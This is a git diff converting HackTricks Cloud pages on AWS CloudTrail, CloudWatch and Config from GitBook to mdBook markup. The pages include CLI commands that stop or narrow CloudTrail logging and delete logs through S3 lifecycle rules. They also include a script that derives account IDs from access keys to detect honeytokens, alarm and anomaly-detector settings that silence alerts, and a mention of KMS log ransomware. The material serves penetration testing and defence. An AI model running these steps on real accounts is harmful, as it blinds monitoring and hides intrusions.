 
@@ -190,14 +175,14 @@ import base64
 import binascii
 
 def AWSAccount_from_AWSKeyID(AWSKeyID):
-    
+
     trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
     x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
     y = x[0:6]
-    
+
     z = int.from_bytes(y, byteorder='big', signed=False)
     mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
-    
+
     e = (z & mask)>>7
     return (e)
 
@@ -218,13 +203,12 @@ In the past there were some **AWS services that doesn't send logs to CloudTrail*
 
 This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken.
 
-![](<../../../../.gitbook/assets/image (93).png>)
+![](<../../../../images/image (93).png>)
 
-{% hint style="danger" %}
-Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own...
-
-For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
-{% endhint %}
+> [!CAUTION]
+> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own...
+>
+> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
 
 ### Accessing Third Infrastructure
 
@@ -234,9 +218,9 @@ Therefore, a user with access to EKS that has discovered the URL of the EKS API
 
 More info in:
 
-{% content-ref url="../../aws-post-exploitation/aws-eks-post-exploitation.md" %}
-[aws-eks-post-exploitation.md](../../aws-post-exploitation/aws-eks-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-post-exploitation/aws-eks-post-exploitation.md
+{{#endref}}
 
 ### Modifying CloudTrail Config
 
@@ -254,15 +238,12 @@ aws cloudtrail stop-logging --name [trail-name]
 
 #### Disable multi-region logging
 
-{% code overflow="wrap" %}
 ```bash
 aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
 ```
-{% endcode %}
 
 #### Disable Logging by Event Selectors
 
-{% code overflow="wrap" %}
 ```bash
 # Leave only the ReadOnly selector
 aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
@@ -270,7 +251,6 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
 # Remove all selectors (stop Insights)
 aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
 ```
-{% endcode %}
 
 In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example).
 
@@ -278,18 +258,16 @@ You can customize the event selector based on your specific requirements.
 
 #### Logs deletion via S3 lifecycle policy
 
-{% code overflow="wrap" %}
 ```bash
 aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
 ```
-{% endcode %}
 
 ### Modifying Bucket Configuration
 
-* Delete the S3 bucket
-* Change bucket policy to deny any writes from the CloudTrail service
-* Add lifecycle policy to S3 bucket to delete objects
-* Disable the kms key used to encrypt the CloudTrail logs
+- Delete the S3 bucket
+- Change bucket policy to deny any writes from the CloudTrail service
+- Add lifecycle policy to S3 bucket to delete objects
+- Disable the kms key used to encrypt the CloudTrail logs
 
 ### Cloudtrail ransomware
 
@@ -298,33 +276,20 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
 You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\
 This is basically a **S3-KMS ransomware** explained in:
 
-{% content-ref url="../../aws-post-exploitation/aws-s3-post-exploitation.md" %}
-[aws-s3-post-exploitation.md](../../aws-post-exploitation/aws-s3-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-post-exploitation/aws-s3-post-exploitation.md
+{{#endref}}
 
 **KMS ransomware**
 
 This is an easiest way to perform the previous attack with different permissions requirements:
 
-{% content-ref url="../../aws-post-exploitation/aws-kms-post-exploitation.md" %}
-[aws-kms-post-exploitation.md](../../aws-post-exploitation/aws-kms-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-post-exploitation/aws-kms-post-exploitation.md
+{{#endref}}
 
 ## **References**
 
-* [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
+- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
similarity index 77%
rename from pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 69b0af807..482a2a1b8 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -1,19 +1,6 @@
 # AWS - CloudWatch Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## CloudWatch
 
@@ -23,12 +10,12 @@ It can set **high resolution alarms**, visualize **logs** and **metrics** side b
 
 You can monitor for example logs from CloudTrail. Events that are monitored:
 
-* Changes to Security Groups and NACLs
-* Starting, Stopping, rebooting and terminating EC2 instances
-* Changes to Security Policies within IAM and S3
-* Failed login attempts to the AWS Management Console
-* API calls that resulted in failed authorization
-* Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
+- Changes to Security Groups and NACLs
+- Starting, Stopping, rebooting and terminating EC2 instances
+- Changes to Security Policies within IAM and S3
+- Failed login attempts to the AWS Management Console
+- API calls that resulted in failed authorization
+- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
 
 ## Key concepts
 
@@ -36,31 +23,31 @@ You can monitor for example logs from CloudTrail. Events that are monitored:
 
 A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them.
 
-* **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics.
+- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics.
 
 ### Metrics
 
 Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations.
 
-* **Example**: CPUUtilization, NetworkIn, DiskReadOps.
+- **Example**: CPUUtilization, NetworkIn, DiskReadOps.
 
 ### Dimensions
 
 Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes.
 
-* **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone.
+- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone.
 
 ### Statistics
 
 Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount.
 
-* **Example**: Calculating the average CPU utilization over a period of one hour.
+- **Example**: Calculating the average CPU utilization over a period of one hour.
 
 ### Units
 
 Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count.
 
-* **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes.
+- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes.
 
 ## CloudWatch Features
 
@@ -70,12 +57,12 @@ Units are the measurement type associated with a metric. Units help to provide c
 
 **Key Features**:
 
-* **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more.
-* **Customization**: Layout and content can be customized to fit specific monitoring needs.
+- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more.
+- **Customization**: Layout and content can be customized to fit specific monitoring needs.
 
 **Example Use Case**:
 
-* A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets.
+- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets.
 
 ### Metric Stream and Metric Data
 
@@ -85,8 +72,8 @@ Units are the measurement type associated with a metric. Units help to provide c
 
 **Example Use Case**:
 
-* Sending real-time metrics to a third-party monitoring service for advanced analysis.
-* Archiving metrics in an Amazon S3 bucket for long-term storage and compliance.
+- Sending real-time metrics to a third-party monitoring service for advanced analysis.
+- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance.
 
 ### Alarm
 
@@ -94,14 +81,14 @@ Units are the measurement type associated with a metric. Units help to provide c
 
 **Key Components**:
 
-* **Threshold**: The value at which the alarm triggers.
-* **Evaluation Periods**: The number of periods over which data is evaluated.
-* **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm
-* **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS).
+- **Threshold**: The value at which the alarm triggers.
+- **Evaluation Periods**: The number of periods over which data is evaluated.
+- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm
+- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS).
 
 **Example Use Case**:
 
-* Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes.
+- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes.
 
 ### Anomaly Detectors
 
@@ -109,12 +96,12 @@ Units are the measurement type associated with a metric. Units help to provide c
 
 **Key Components**:
 
-* **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like.
-* **Anomaly Detection Band**: A visual representation of the expected range of values for a metric.
+- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like.
+- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric.
 
 **Example Use Case**:
 
-* Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue.
+- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue.
 
 ### Insight Rules and Managed Insight Rules
 
@@ -124,7 +111,7 @@ Units are the measurement type associated with a metric. Units help to provide c
 
 **Example Use Case**:
 
-* Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action.
+- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action.
 
 ### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
 
@@ -146,9 +133,9 @@ In that case, CLoudWatch can be prepared to send an event and perform some autom
 
 You can install agents inside your machines/containers to automatically send the logs back to CloudWatch.
 
-* **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
-* **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage
-* **Configure** and **start** the CloudWatch Agent
+- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
+- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage
+- **Configure** and **start** the CloudWatch Agent
 
 A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order.
 
@@ -175,7 +162,7 @@ aws cloudwatch get-metric-data --metric-data-queries <value> --start-time <value
 aws cloudwatch get-metric-statistics --namespace <value> --metric-name <value> [--dimensions <value>] --start-time <value> --end-time <value> --period <value>
 
 ## Returns a list of the metric streams of your account
-aws cloudwatch list-metric-streams 
+aws cloudwatch list-metric-streams
 
 ## Retrieves information about the specified metric stream
 aws cloudwatch get-metric-stream --name <value>
@@ -202,7 +189,7 @@ aws cloudwatch describe-anomaly-detectors [--namespace <value>] [--metric-name <
 ## Lists all the Contributor Insight rules in your account
 aws cloudwatch describe-insight-rules
 
-## Retrieves the data collected over a time range for a given Contributor Insight rule	
+## Retrieves the data collected over a time range for a given Contributor Insight rule
 aws cloudwatch get-insight-rule-report --rule-name <value> --start-time <value> --end-time <value> --period <value>
 
 ## Lists managed Contributor Insights rules in your account for a specified resource
@@ -243,11 +230,12 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
 
 The following example shows how to make a metric alarm ineffective:
 
-* This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic.
-* By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm.
+- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic.
+- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm.
+
+{{#tabs }}
+{{#tab name="Original Metric Alarm" }}
 
-{% tabs %}
-{% tab title="Original Metric Alarm" %}
 ```json
 {
   "Namespace": "AWS/EC2",
@@ -258,9 +246,7 @@ The following example shows how to make a metric alarm ineffective:
       "Value": "i-01234567890123456"
     }
   ],
-  "AlarmActions": [
-    "arn:aws:sns:us-east-1:123456789012:example_sns"
-  ],
+  "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"],
   "ComparisonOperator": "GreaterThanThreshold",
   "DatapointsToAlarm": 4,
   "EvaluationPeriods": 6,
@@ -271,9 +257,11 @@ The following example shows how to make a metric alarm ineffective:
   "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization"
 }
 ```
-{% endtab %}
 
-{% tab title="Modified Metric Alarm" %}
+{{#endtab }}
+
+{{#tab name="Modified Metric Alarm" }}
+
 ```json
 {
   "Namespace": "AWS/EC2",
@@ -294,10 +282,10 @@ The following example shows how to make a metric alarm ineffective:
   "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold",
   "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization"
 }
-
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 **Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents.
 
@@ -307,7 +295,7 @@ By deleting alarm actions, the attacker could prevent critical alerts and automa
 
 In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures.
 
-* If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration.
+- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration.
 
 ```bash
 aws cloudwatch disable-alarm-actions --alarm-names <value>
@@ -328,52 +316,56 @@ aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <val
 
 The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period.
 
-{% tabs %}
-{% tab title="Original Metric Anomaly Detector" %}
-```json
-{
-    "SingleMetricAnomalyDetector": {
-        "Namespace": "AWS/EC2",
-        "MetricName": "CPUUtilization",
-        "Stat": "Average",
-        "Dimensions": [
-            {
-                "Name": "InstanceId",
-                "Value": "i-0123456789abcdefg"
-            }
-        ]
-    }
-}
-```
-{% endtab %}
+{{#tabs }}
+{{#tab name="Original Metric Anomaly Detector" }}
 
-{% tab title="Modified Metric Anomaly Detector" %}
 ```json
 {
-    "SingleMetricAnomalyDetector": {
-        "Namespace": "AWS/EC2",
-        "MetricName": "CPUUtilization",
-        "Stat": "Average",
-        "Dimensions": [
-            {
-                "Name": "InstanceId",
-                "Value": "i-0123456789abcdefg"
-            }
-        ]
-    },
-    "Configuration": {
-        "ExcludedTimeRanges": [
-            {
-                "StartTime": "2023-01-01T00:00:00Z",
-                "EndTime": "2053-01-01T23:59:59Z"
-            }
-        ],
-        "Timezone": "Europe/Madrid"
-    }
+  "SingleMetricAnomalyDetector": {
+    "Namespace": "AWS/EC2",
+    "MetricName": "CPUUtilization",
+    "Stat": "Average",
+    "Dimensions": [
+      {
+        "Name": "InstanceId",
+        "Value": "i-0123456789abcdefg"
+      }
+    ]
+  }
 }
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+
+{{#tab name="Modified Metric Anomaly Detector" }}
+
+```json
+{
+  "SingleMetricAnomalyDetector": {
+    "Namespace": "AWS/EC2",
+    "MetricName": "CPUUtilization",
+    "Stat": "Average",
+    "Dimensions": [
+      {
+        "Name": "InstanceId",
+        "Value": "i-0123456789abcdefg"
+      }
+    ]
+  },
+  "Configuration": {
+    "ExcludedTimeRanges": [
+      {
+        "StartTime": "2023-01-01T00:00:00Z",
+        "EndTime": "2053-01-01T23:59:59Z"
+      }
+    ],
+    "Timezone": "Europe/Madrid"
+  }
+}
+```
+
+{{#endtab }}
+{{#endtabs }}
 
 **Potential Impact**: Direct effect in the detection of unusual patterns or security threats.
 
@@ -415,9 +407,9 @@ aws cloudwatch enable-insight-rules --rule-names <value>
 
 An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity:
 
-* **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations.
-* **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues.
-* **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden.
+- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations.
+- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues.
+- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden.
 
 Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless.
 
@@ -459,21 +451,8 @@ aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
 
 ## References
 
-* [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info)
-* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html)
-* [https://docs.aws.amazon.com/es\_es/AmazonCloudWatch/latest/monitoring/cloudwatch\_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric)
+- [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info)
+- [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html)
+- [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
similarity index 59%
rename from pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
index 3736b5511..55b736e3a 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
@@ -1,19 +1,6 @@
 # AWS - Config Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AWS Config
 
@@ -21,11 +8,11 @@ AWS Config **capture resource changes**, so any change to a resource supported b
 
 A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too.
 
-* **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource.
-* **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance
-* **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in.
-* **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information.
-* **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created.
+- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource.
+- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance
+- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in.
+- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information.
+- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created.
 
 **Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type.
 
@@ -37,36 +24,23 @@ A configuration item or **CI** as it's known, is a key component of AWS Config.
 
 ### Functioning
 
-* When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config
-* Stores everything in S3 bucket
-* Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings
-* Lambda feeds back to Config
-* If rule has been broken, Config fires up an SNS
+- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config
+- Stores everything in S3 bucket
+- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings
+- Lambda feeds back to Config
+- If rule has been broken, Config fires up an SNS
 
-![](<../../../../.gitbook/assets/image (126).png>)
+![](<../../../../images/image (126).png>)
 
 ### Config Rules
 
